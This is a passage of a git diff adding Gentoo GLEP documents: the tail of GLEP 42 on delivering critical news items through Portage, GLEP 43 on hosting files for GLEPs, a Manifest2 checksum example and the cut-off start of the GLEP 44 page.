+    particular source has no advantage over current methods.
+
+Relevant
+    System administrators who do not use a particular package should not have to
+    read news items which affect purely that package. Some news items may be of
+    relevance to most or all users, but those that are not should not be forced
+    upon users unnecessarily.
+
+Lightweight
+    It is not reasonable to expect all users to have an MTA, web browser, email
+    client, cron daemon or text processing suite available on their system.
+    Users must not be forced to install unreasonable extra software to be able
+    to read news items.
+
+No privacy violations
+    Users of the solution should not be required to provide information about
+    their systems (for example, IP addresses or installed packages).
+
+Multiple delivery method support
+    Some users may wish to view news items via email, some via a terminal and
+    some via a web browser. A solution should either support all of these
+    methods or (better still) make it simple to write clients for displaying
+    news items in different ways.
+
+The following characteristics would be desirable:
+
+Internationalisable
+    Being able to provide messages in multiple languages may be beneficial.
+
+Quality control
+    There should be some way to ensure that badly written or irrelevant messages
+    are not sent out, for example by inexperienced developers or those whose
+    English language skills are below par.
+
+Simple for developers
+    Posting news items should be as simple as is reasonably possible.
+
+Simple for users
+    Reading relevant news items should be as simple as is reasonably possible.
+
+Compatibility with existing and future news sources
+    A news system would ideally be able to be integrated with existing news
+    sources (for example, Forums, GWN, the main Gentoo website) without
+    excessive difficulty. Similarly, easy interoperation with any future news
+    sources should not be precluded.
+
+Specification
+=============
+
+Overview
+--------
+
+News items are published and delivered to users as follows:
+
+1. A news item is written. The format to be used is described below.
+
+2. The news item is reviewed, following the process described in
+   `News Item Quality Control`_.
+
+3. The news item is committed to a CVS (or Subversion [#glep-36]_) repository.
+   From here, it is merged with the rsync tree. This is described in `News Item
+   Distribution`_.
+
+4. Users fetch the news item when they sync. This ensures that the news items in
+   question are pushed to the user before the user accidentally makes an
+   unwanted change. No changes to the existing rsync process are required by
+   this GLEP.
+
+5. The package manager filters the news item and, if it is relevant, marks the
+   news item for reading. The package manager should also display a notice
+   informing the user that there are unread news items.
+
+6. The news item is handled by the user's choice of news item reader. See `News
+   Item Clients`_.
+
+Required Portage Enhancements
+-----------------------------
+
+The following extensions to Portage are required:
+
+* Every repository (including overlays) will require a unique identifier. It is
+  assumed that an identifier will be a string consisting of characters from
+  ``a`` to ``z``, ``A`` to ``Z``, ``0`` to ``9``, ``+`` (plus), ``-`` (hyphen)
+  ``_`` (underscore).
+
+* Portage must provide a way for external programs to obtain a list of all
+  repository identifiers for a given system. It is assumed that this will be in
+  the form of a ``portageq`` command (e.g. ``portageq get_repo_ids``).
+
+* Portage must provide a way for external programs to obtain the base path for
+  a repository with a given ID. It is assumed that this will be in the form of
+  a ``portageq`` command (e.g. ``portageq get_repo_root gentoo-x86``).
+
+* Portage must extend ``portageq has_version`` to support restrictions to a
+  given repository ID.
+
+* Portage must extend ``portageq`` to implement a command which returns whether
+  or not the profile used for a given repository ID is exactly the given profile
+  (e.g. ``portageq profile_used default-linux/sparc/sparc64/2004.3
+  gentoo-x86``).
+
+These extensions are assumed during the following specification.
+
+News Item Identities
+--------------------
+
+Each news item will have a unique identifier. This identifier will be in the
+form ``yyyy-mm-dd-short-name``, where ``yyyy`` is the year (e.g. ``2005``),
+``mm`` is the month (``01`` through ``12``) and dd is the day of the month
+(``01`` through ``31``). The ``short-name`` is a very short name describing the
+news item (e.g. ``yoursql-updates``), consisting only of the characters ``a-z``,
+``0-9``, ``+`` (plus), ``-`` (hyphen) and ``_`` (underscore).
+
+News Item Directories
+---------------------
+
+Each news item will be represented by a directory whose name is the same as the
+news item's identifier.
+
+The directory will contain a file named ``yyyy-mm-dd-short-name.en.txt``, which
+contains the text of the news item, in English, in the format described below.
+
+If a news item is translated, other files named ``yyyy-mm-dd-short-name.xx.txt``
+(where ``xx`` is the ISO 639 [#iso-639]_ two letter country code, and the date
+remains the same as the original news item) will also be provided. However, only
+the English version of a news item is authoritative.  This anglocentricity is
+justified by precedent [#glep-34]_.
+
+News Item Files
+---------------
+
+A news item file is a text file, encoded using UTF-8 [#rfc-3629]_ for
+compatibility with and for the same reasons as existing Gentoo documentation
+[#docs-policy]_ and the tree [#glep-31]_.
+
+News items must be signed with a detached GPG signature.::
+
+    gpg --armour --detach-sign ????-??-??-*.??.txt
+
+This GLEP does not specify the type or strength of signature to be used, nor
+does it discuss how, if at all, a centralised keychain will be provided. These
+issues should be handled as part of the signing policy discussions.
+
+A news item file's content will consist of an RFC 822 style header [#rfc-822]_
+followed by the main body of the message as plain text. This GLEP defines
+various optional and mandatory headers. Future GLEPs may propose new headers —
+tools handling these news items must ignore any unrecognised header.
+
+News Item Headers
+'''''''''''''''''
+
+The following headers describe the purpose and format of the news item:
+
+``Title:``
+    A short (maximum 44 characters) descriptive title. Mandatory.
+
+``Author:``
+    Author's name and email address, in the form ``Real Name <email@address>``.
+    Mandatory; multiple author headers may be specified if appropriate.
+
+``Translator:``
+    For translated news items, the translator's name and email address. Multiple
+    translator headers may be specified if appropriate.
+
+``Content-Type:``
+    Must be ``text/plain``. Mandatory.
+
+``Posted:``
+    Date of posting, in ``yyyy-mm-dd`` format (e.g. 2005-12-18) for
+    compatibility with GLEP 45 [#glep-45]_. Translations should use the date
+    of the original news item. Mandatory.
+
+``Revision:``
+    Initially 1. Should be incremented every time a change is made to the news
+    item. Changes that require a re-read of the news item (i.e., most changes
+    that are not spelling or formatting related) should instead use a new news
+    item. Mandatory.
+
+``News-Item-Format:``
+    Must be ``1.0``. Future revisions to the format may increment the minor
+    number for backwards-compatible changes, or the major number for major
+    changes.
+
+The following headers are used for filtering:
+
+``Display-If-Installed:``
+    A dependency atom (for example, ``<dev-lang/php-5_alpha`` or
+    ``net-www/apache``). If the user has the package specified installed from
+    the repository from which the news item was obtained, the news item should
+    be displayed.
+
+``Display-If-Keyword:``
+    A keyword [#glep-22]_ name, for example ``mips`` or ``x86-fbsd``. If the
+    user is on the keyword in question, the news item should be displayed.
+
+``Display-If-Profile:``
+    A profile path, for example ``default-linux/sparc/sparc64/server``. If the
+    user is using the exact profile in question, the news item should be
+    displayed. This header may be used to replace ``deprecated`` files in the
+    future.
+
+.. Note:: When performing package moves, developers must also update any
+   relevant ``Display-If-Installed`` headers in news files.
+
+The algorithm used to determine whether a news item is 'relevant' is as
+follows:
+
+* For each ``Display-If-`` header type which occurs at least once:
+
+  + The news item is not relevant if none of the headers of this type are
+    successfully matched.
+
+* Otherwise the news item is relevant.
+
+In particular, if no ``Display-If-`` header is specified, a news item will be
+relevant for all users.
+
+This algorithm was chosen because it makes conditions like "display this news
+item for ``YourSQL`` users who are on ``sparc`` or ``x86-obsd`` relatively
+simple to specify — it is believed that these kinds of condition are far more
+likely to occur than "display this news item for people using ``YourSQL``, or
+for people on ``sparc`` or ``x86-obsd``\" or "display these news items for
+people who use ``YourSQL`` and who are on both ``sparc`` and ``x86-obsd``\".
+
+News Item Body
+''''''''''''''
+
+The header section must be followed by a blank line, then the main body of the
+text.
+
+The text body should be wrapped at 72 characters. No fancy formatting or tab
+characters should be used — the news item may be being displayed directly to a
+terminal. Paragraphs should be separated by a blank line.
+
+Hyperlinks may be used to refer to further information (for example, an upgrade
+guide). However, the main body of the news item should be descriptive and not
+simply a "read this link" text. It is assumed that the user will have access to
+a web browser *somewhere*, but not necessarily on the box which is being
+administrated — this will be the case on many servers and routers, for example.
+
+Example News Item
+'''''''''''''''''
+
+`This hypothetical news item`__ could be used for an upgrade to the
+``YourSQL`` database format which breaks forward compatibility.
+
+.. __: glep-0042-extras/example-news-item.txt
+
+News Item Quality Control
+-------------------------
+
+There have been complaints regarding the comprehensibility of some upgrade
+notices and news items in the past. This is understandable — not every Gentoo
+developer speaks English as a first language. However, for the sake of clarity,
+professionalism and avoiding making us look like prats, it is important that any
+language problems be corrected before inflicting a news item upon end users.
+
+Thus, at least 72 hours before a proposed news item is committed, it must be
+posted to the ``gentoo-dev`` mailing list and ``Cc:``\ed to ``pr@gentoo.org``
+(exceptions may be made in exceptional circumstances). Any complaints — for
+example regarding wording, clarity or accuracy — **must** be addressed before
+the news item goes live.
+
+News items must only be for **important** changes that may cause serious upgrade
+or compatibility problems. Ordinary upgrade messages and non-critical news items
+should remain in ``einfo`` notices. The importance of the message to its
+intended audience should be justified with the proposal.
+
+.. Important:: The filtering system means that it is appropriate to send out
+   news items which are aimed at users of an uncommon package or architecture.
+   Thus, the justification should be in the form "this message is important to
+   YourSQL users because ...", not "YourSQL is important because ...".
+
+News Item Distribution
+----------------------
+
+Server Side
+'''''''''''
+
+News items are to be made available via the standard rsync tree. This removes
+any need for polling of a remote source.
+
+A new repository will be created for news items. The type (CVS or Subversion),
+location and access controls on this repository are beyond the scope of this
+GLEP.
+
+.. Note:: A previous draft of this GLEP instead used the main ``gentoo-x86``
+   tree. This was changed following advice from Infrastructure
+   [#ramereth-repo]_. Both solutions have the same end result.
+
+This repository will contain directories named ``yyyy/``, where ``yyyy`` is
+the current year. This separation will help keep news items more manageable.
+
+The contents of this repository will automatically be merged with the main rsync
+tree, placing the items in a ``metadata/news/`` directory. The method used for
+merging these items and the frequency at which it will occur is beyond the scope
+of this GLEP; a similar setup is already used for merging GLSAs into the rsync
+tree.
+
+The main rsync tree will **not** use the ``yyyy/`` subdirectory layout. The
+news item directories will all be immediately under the ``metadata/news/``
+directory.
+
+Client Side
+'''''''''''
+
+Whenever relevant unread news items are found, the package manager will create a
+file named ``/var/lib/gentoo/news/news-${repoid}.unread`` (if it does not
+already exist) and append the news item identifier (eg
+``2005-11-01-yoursql-updates``) on a new line.
+
+All news item related files should be root owned and in the ``portage`` group
+with the group write (and, for directories, execute) bits set. News files should
+be world readable.
+
+Notification that new relevant news items will be displayed via the
+``emerge`` tool in a similar way to the existing "configuration files need
+updating" messages:
+
+::
+
+    * Important: there are 5 unread news items.
+    * Type emerge --help news to learn how to read news files.
+
+Checks for new news messages should be displayed:
+
+* After an ``emerge sync``
+* After an ``emerge --pretend``
+* Before an ``emerge <target>`` (which may also include a red warning message)
+
+The package manager does not need to know how to launch the user's choice of
+news client. This is consistent with the way configuration file updates are
+handled.
+
+The package manager may use a timestamp check file to avoid having to process
+news items unnecessarily.
+
+The package manager must keep track of news items that have already been added
+to the unread list to avoid repeatedly marking a deleted news item. This could
+be handled via a ``news-${repoid}.skip`` file containing the IDs of news items
+that have already been added to a ``news-${repoid}.unread`` file, but this
+method is not required by this GLEP.
+
+Users who really don't care about news items can use ``rsync_excludes`` to
+filter out the ``metadata/news/`` directory.
+
+News Item Clients
+-----------------
+
+Once a news item is marked for reading, third party tools (or traditional core
+Unix tools) can be used to display and view the news files.
+
+When a news item is read, its name should be removed from the
+``news-${repoid}.unread`` file. If a news client acts as an interactive reader
+rather than a gateway, it should then add the name to a ``news-${repoid}.read``
+file in the same directory with the same file format.
+
+An ``eselect`` [#eselect]_ module shall be created as the 'suggested' display
+tool; other display tools (for example, a news to email forwarder, which would
+be ideal for users who sync on a ``cron``) are left as options for those who
+desire them.
+
+News Item Removal
+-----------------
+
+News items can be removed (by removing the news file from the main tree) when
+they are no longer relevant, if they are made obsolete by a future news item or
+after a long period of time. This is the same as the method used for ``updates``
+entries.
+
+Integration with Existing Systems
+=================================
+
+It would be simple to convert these news items into the format used for news
+items on the Gentoo website or posts for the ``gentoo-announce`` mailing list.
+
+There is an existing automated tool [#forums-glsa]_ for posting GLSAs to the
+forums. A similar tool can be used for these news items.
+
+Backwards Compatibility
+=======================
+
+Backwards compatibility is not a concern here. Existing tools will simply ignore
+the ``news/`` directory.
+
+Reference Implementation
+========================
+
+A reference implementation of the required package manager support can be found
+in Paludis [#paludis]_, along with a reference newsreader implemented as an
+eselect module [#eselect-news]_.
+
+Credits
+=======
+
+The idea behind notifying users of news updates via Portage comes from Stuart
+Herbert [#stuart-blog]_.
+
+Thanks to Lance Albertson, Stephen Bennett, Donnie Berkholz, Grant Goodyear,
+Brian Harring, Marius Mauch, Dan Meltzer, Jason Stubbs, Paul de Vrieze and Alec
+Warner for input.  Some of the ideas presented here are theirs, others go
+completely against their suggestions.
+
+Example Files
+=============
+
+`example-news-item.txt <glep-0042-extras/example-news-item.txt>`_
+    An example news item.
+
+References
+==========
+
+.. [#bug-11359] Bugzilla Bug 11359
+   "[NEW FEATURE] pkg_postinst/pkg_preinst ewarn/einfo logging",
+   https://bugs.gentoo.org/show_bug.cgi?id=11359
+.. [#docs-policy] Gentoo XML Guide, Daniel Robbins et al.,
+     http://www.gentoo.org/doc/en/xml-guide.xml
+.. [#eselect] eselect modular framework for configuration and
+     administration utilities,
+     http://www.gentoo.org/proj/en/eselect/index.xml
+.. [#forums-glsa] Forums user GLSA,
+     http://forums.gentoo.org/profile.php?mode=viewprofile&u=55648
+.. [#forums-apache2] Forums thread "Gentoo Apache2 Config Change Idiocy",
+     http://forums.gentoo.org/viewtopic-t-384368.html
+.. [#glep-22] GLEP 22: "New "keyword" system to incorporate various
+     userlands/kernels/archs", Grant Goodyear,
+     http://www.gentoo.org/proj/en/glep/glep-0022.html
+.. [#glep-31] GLEP 31: "Character Sets for Portage Tree Items", Ciaran
+     McCreesh,
+     http://www.gentoo.org/proj/en/glep/glep-0031.html
+.. [#glep-34] GLEP 34: "Per-Category metadata.xml Files", Ciaran McCreesh,
+     http://www.gentoo.org/proj/en/glep/glep-0034.html
+.. [#glep-36] GLEP 36: "Subversion/CVS for Gentoo Hosted Projects", Aaron
+     Walker,
+     http://www.gentoo.org/proj/en/glep/glep-0036.html
+.. [#glep-45] GLEP 45: "GLEP date format", Henrik Brix Andersen,
+     http://www.gentoo.org/proj/en/glep/glep-0045.html
+.. [#iso-639] ISO 639 "Code for the representation of names of languages"
+.. [#ramereth-repo] "Re: [gentoo-dev] GLEP ??: Critical News Reporting", Lance
+     Albertson,
+     http://marc.theaimsgroup.com/?l=gentoo-dev&m=113111585907703&w=2
+.. [#rfc-822] RFC 822 "Standard for the format of ARPA Internet text messages"
+.. [#rfc-3629] RFC 3629: "UTF-8, a transformation format of ISO 10646"
+       http://www.ietf.org/rfc/rfc3629.txt
+.. [#paludis] Paludis homepage, http://paludis.berlios.de
+.. [#eselect-news] news.eselect, http://svn.berlios.de/svnroot/repos/paludis/trunk/eselect/news.eselect
+.. [#stuart-blog] "Favouring an automatic news mechanism", Stuart Herbert,
+     http://stu.gnqs.org/diary/gentoo.php/2005/10/28/favouring_an_automatic_news_mechanism
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=80 fileencoding=utf-8 spell spelllang=en et :
diff --git a/xml/htdocs/proj/en/glep/glep-0043.html b/xml/htdocs/proj/en/glep/glep-0043.html
new file mode 100644
index 00000000..c06d0820
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0043.html
@@ -0,0 +1,179 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 43 -- GLEP File Hosting</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0043.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">43</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">GLEP File Hosting</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0043.txt?cvsroot=gentoo">2005/11/13 17:16:16</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">7-Nov-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">7-Nov-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a><ul>
+<li><a class="reference" href="#example" id="id6" name="id6">Example</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id8" name="id8">References</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes the creation of a reliable hosting location for data (e.g.
+sample code) associated with GLEPs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>This GLEP has been approved by the GLEP editor and marked Final on
+13 Nov. 2005.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Some GLEPs come with non-trivial example files or code which are part of the
+specification. There are two methods which have been used to handle this
+previously:</p>
+<ul class="simple">
+<li>Include the code inline in the GLEP using a code (<tt class="docutils literal"><span class="pre">::</span></tt>) segment. This is
+less than ideal for larger code samples as it leads to considerable clutter.</li>
+<li>Place the files on a developer's webspace on <tt class="docutils literal"><span class="pre">dev.gentoo.org</span></tt>. This is not
+particularly reliable -- developers may leave or accidentally restructure
+their webspace, and a GLEP is intended to be a <em>permanent</em> specification.</li>
+</ul>
+<p>This GLEP proposes that GLEP authors be allowed to make use of the main Gentoo
+webserver for hosting content relevant to their GLEP.</p>
+<div class="important">
+<p class="first admonition-title">Important</p>
+<p class="last">The hosting proposed is for files related to the <strong>proposal</strong>
+(e.g. example code which clarifies part of the specification), not a full
+implementation of the proposal.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>Once a GLEP number has been allocated, developers (or the GLEP editors) may
+create a directory in CVS named <tt class="docutils literal"><span class="pre">glep-xxxx-extras/</span></tt> (where <tt class="docutils literal"><span class="pre">xxxx</span></tt> is the
+GLEP's number) under the main GLEP directory. This directory may be used by
+files which are part of the proposal.</p>
+<p>Any hyperlinks to files inside this directory should use relative paths. This
+prevents breakages in the case of directory structure changes.</p>
+<p>GLEPs which use this directory may include an 'Example Files' heading with a
+list of links to the associated files.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id6" id="example" name="example">Example</a></h2>
+<p>Consider the following GLEP segment, which has been taken from a draft of
+GLEP 42 <a class="footnote-reference" href="#glep-42" id="id1" name="id1">[1]</a>:</p>
+<pre class="literal-block">
+Example News Item
+'''''''''''''''''
+
+The following hypothetical news item could be used for an upgrade to the
+``YourSQL`` database format which breaks forward compatibility. It should be
+named ``2005-11/2005-11-01-yoursql-upgrades.en.txt``.
+
+::
+
+    # Lots and lots of lines of example news item
+</pre>
+<p>The news item in question is clearly part of the proposal, but including it
+inline is messy. Under this proposal, the main GLEP segment would read:</p>
+<pre class="literal-block">
+Example News Item
+'''''''''''''''''
+
+`This hypothetical news item`__ could be used for an upgrade to the
+``YourSQL`` database format which breaks forward compatibility. It would be
+named ``2005-11/2005-11-01-yoursql-upgrades.en.txt``.
+
+.. __: glep-0042-extras/example-news-item.txt
+</pre>
+<p>The example news item would then be placed in
+<tt class="docutils literal"><span class="pre">glep-0042-extras/example-news-item.txt</span></tt>.</p>
+<p>Similar changes would be made for the longer example code segments. The GLEP
+could also gain a new section along the lines of:</p>
+<pre class="literal-block">
+Example Files
+=============
+
+`example-news-item.txt &lt;glep-0042-extras/example-news-item.txt&gt;`_
+    An example news item.
+`news-mailer.bash &lt;glep-0042-extras/news-mailer.bash&gt;`_
+    A ``bash`` script which delivers news items via email.
+</pre>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not an issue.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="glep-42" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="glep-42">[1]</a></td><td>GLEP 42: Critical news reporting, Ciaran McCreesh,
+<a class="reference" href="http://www.gentoo.org/proj/en/glep/glep-0042.html">http://www.gentoo.org/proj/en/glep/glep-0042.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=80 fileencoding=utf-8 spell spelllang=en et : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0043.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0043.txt b/xml/htdocs/proj/en/glep/glep-0043.txt
new file mode 100644
index 00000000..7d0dc57c
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0043.txt
@@ -0,0 +1,124 @@
+GLEP: 43
+Title: GLEP File Hosting
+Version: $Revision: 1.2 $
+Author: Ciaran McCreesh <ciaranm@gentoo.org>
+Last-Modified: $Date: 2005/11/13 17:16:16 $
+Status: Draft
+Type: Informational
+Content-Type: text/x-rst
+Created: 7-Nov-2005
+Post-History: 7-Nov-2005
+
+Abstract
+========
+
+This GLEP proposes the creation of a reliable hosting location for data (e.g.
+sample code) associated with GLEPs.
+
+Status
+======
+
+This GLEP has been approved by the GLEP editor and marked Final on
+13 Nov. 2005.
+
+Motivation
+==========
+
+Some GLEPs come with non-trivial example files or code which are part of the
+specification. There are two methods which have been used to handle this
+previously:
+
+* Include the code inline in the GLEP using a code (``::``) segment. This is
+  less than ideal for larger code samples as it leads to considerable clutter.
+* Place the files on a developer's webspace on ``dev.gentoo.org``. This is not
+  particularly reliable -- developers may leave or accidentally restructure
+  their webspace, and a GLEP is intended to be a *permanent* specification.
+
+This GLEP proposes that GLEP authors be allowed to make use of the main Gentoo
+webserver for hosting content relevant to their GLEP.
+
+.. Important:: The hosting proposed is for files related to the **proposal**
+   (e.g. example code which clarifies part of the specification), not a full
+   implementation of the proposal.
+
+Specification
+=============
+
+Once a GLEP number has been allocated, developers (or the GLEP editors) may
+create a directory in CVS named ``glep-xxxx-extras/`` (where ``xxxx`` is the
+GLEP's number) under the main GLEP directory. This directory may be used by
+files which are part of the proposal.
+
+Any hyperlinks to files inside this directory should use relative paths. This
+prevents breakages in the case of directory structure changes.
+
+GLEPs which use this directory may include an 'Example Files' heading with a
+list of links to the associated files.
+
+Example
+-------
+
+Consider the following GLEP segment, which has been taken from a draft of
+GLEP 42 [#glep-42]_:
+
+::
+
+    Example News Item
+    '''''''''''''''''
+
+    The following hypothetical news item could be used for an upgrade to the
+    ``YourSQL`` database format which breaks forward compatibility. It should be
+    named ``2005-11/2005-11-01-yoursql-upgrades.en.txt``.
+
+    ::
+
+        # Lots and lots of lines of example news item
+
+The news item in question is clearly part of the proposal, but including it
+inline is messy. Under this proposal, the main GLEP segment would read:
+
+::
+
+    Example News Item
+    '''''''''''''''''
+
+    `This hypothetical news item`__ could be used for an upgrade to the
+    ``YourSQL`` database format which breaks forward compatibility. It would be
+    named ``2005-11/2005-11-01-yoursql-upgrades.en.txt``.
+
+    .. __: glep-0042-extras/example-news-item.txt
+
+The example news item would then be placed in
+``glep-0042-extras/example-news-item.txt``\.
+
+Similar changes would be made for the longer example code segments. The GLEP
+could also gain a new section along the lines of:
+
+::
+
+    Example Files
+    =============
+
+    `example-news-item.txt <glep-0042-extras/example-news-item.txt>`_
+        An example news item.
+    `news-mailer.bash <glep-0042-extras/news-mailer.bash>`_
+        A ``bash`` script which delivers news items via email.
+
+Backwards Compatibility
+=======================
+
+Not an issue.
+
+References
+==========
+
+.. [#glep-42] GLEP 42: Critical news reporting, Ciaran McCreesh,
+   http://www.gentoo.org/proj/en/glep/glep-0042.html
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=80 fileencoding=utf-8 spell spelllang=en et :
+
diff --git a/xml/htdocs/proj/en/glep/glep-0044-extras/manifest2-example.txt b/xml/htdocs/proj/en/glep/glep-0044-extras/manifest2-example.txt
new file mode 100644
index 00000000..af787046
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0044-extras/manifest2-example.txt
@@ -0,0 +1,10 @@
+AUX ldif-buffer-overflow-fix.diff 5007 RMD160 1354a6bd2687430b628b78aaf43f5c793d2f0704 SHA1 424e1dfca06488f605b9611160020227ecdd03ac
+AUX procmime.patch 977 RMD160 39a51a4d654759b15d1644a79fb6e8921130df3c SHA1 d76929f6dfc2179281f7ccee5789aab4e970ba9e
+EBUILD sylpheed-claws-1.0.5-r1.ebuild 3906 RMD160 cdd546c128db2dea7044437de01ec96e12b4f5bf SHA1 a84b49e76961d7a9100852b64c2bfbf9b053d45e
+EBUILD sylpheed-claws-1.9.100.ebuild 4444 RMD160 89326038bfc694dafd22f10400a08d3f930fb2bd SHA1 8895342f3f0cc6fcbdd0fdada2ad8e23ce539d23
+EBUILD sylpheed-claws-1.9.15.ebuild 4821 RMD160 ec0ff811b893084459fe5b17b8ba8d6b35a55687 SHA1 358278a43da244e1f4803ec4b04d6fa45c41ab4d
+MISC ChangeLog 25770 RMD160 0e69dd7425add1560d630dd3367342418e9be776 SHA1 1210160f7baf0319de3b1b58dc80d7680d316d28
+MISC metadata.xml 269 RMD160 39d775de55f9963f8946feaf088aa0324770bacb SHA1 4fd7b285049d0e587f89e86becf06c0fd77bae6d
+DIST sylpheed-claws-1.0.5.tar.bz2 3268626 RMD160 f2708b5d69bc9a5025812511fde04eca7782e367 SHA1 d351d7043eef7a875df18a8c4b9464be49e2164b
+DIST sylpheed-claws-1.9.100.tar.bz2 3480063 RMD160 72fbcbcc05d966f34897efcc1c96377420dc5544 SHA1 47465662b5470af5711493ce4eaad764c5bf02ca
+DIST sylpheed-claws-1.9.15.tar.bz2 3481018 RMD160 b01d1af2df55806a8a8275102b10e389e0d98e94 SHA1 a17fc64b8dcc5b56432e5beb5c826913cb3ad79e
diff --git a/xml/htdocs/proj/en/glep/glep-0044.html b/xml/htdocs/proj/en/glep/glep-0044.html
new file mode 100644
index 00000000..23fc5a1f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0044.html
@@ -0,0 +1,383 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 44 -- Manifest2 format</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0044.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">44</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Manifest2 format</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.8</td>
+</tr>
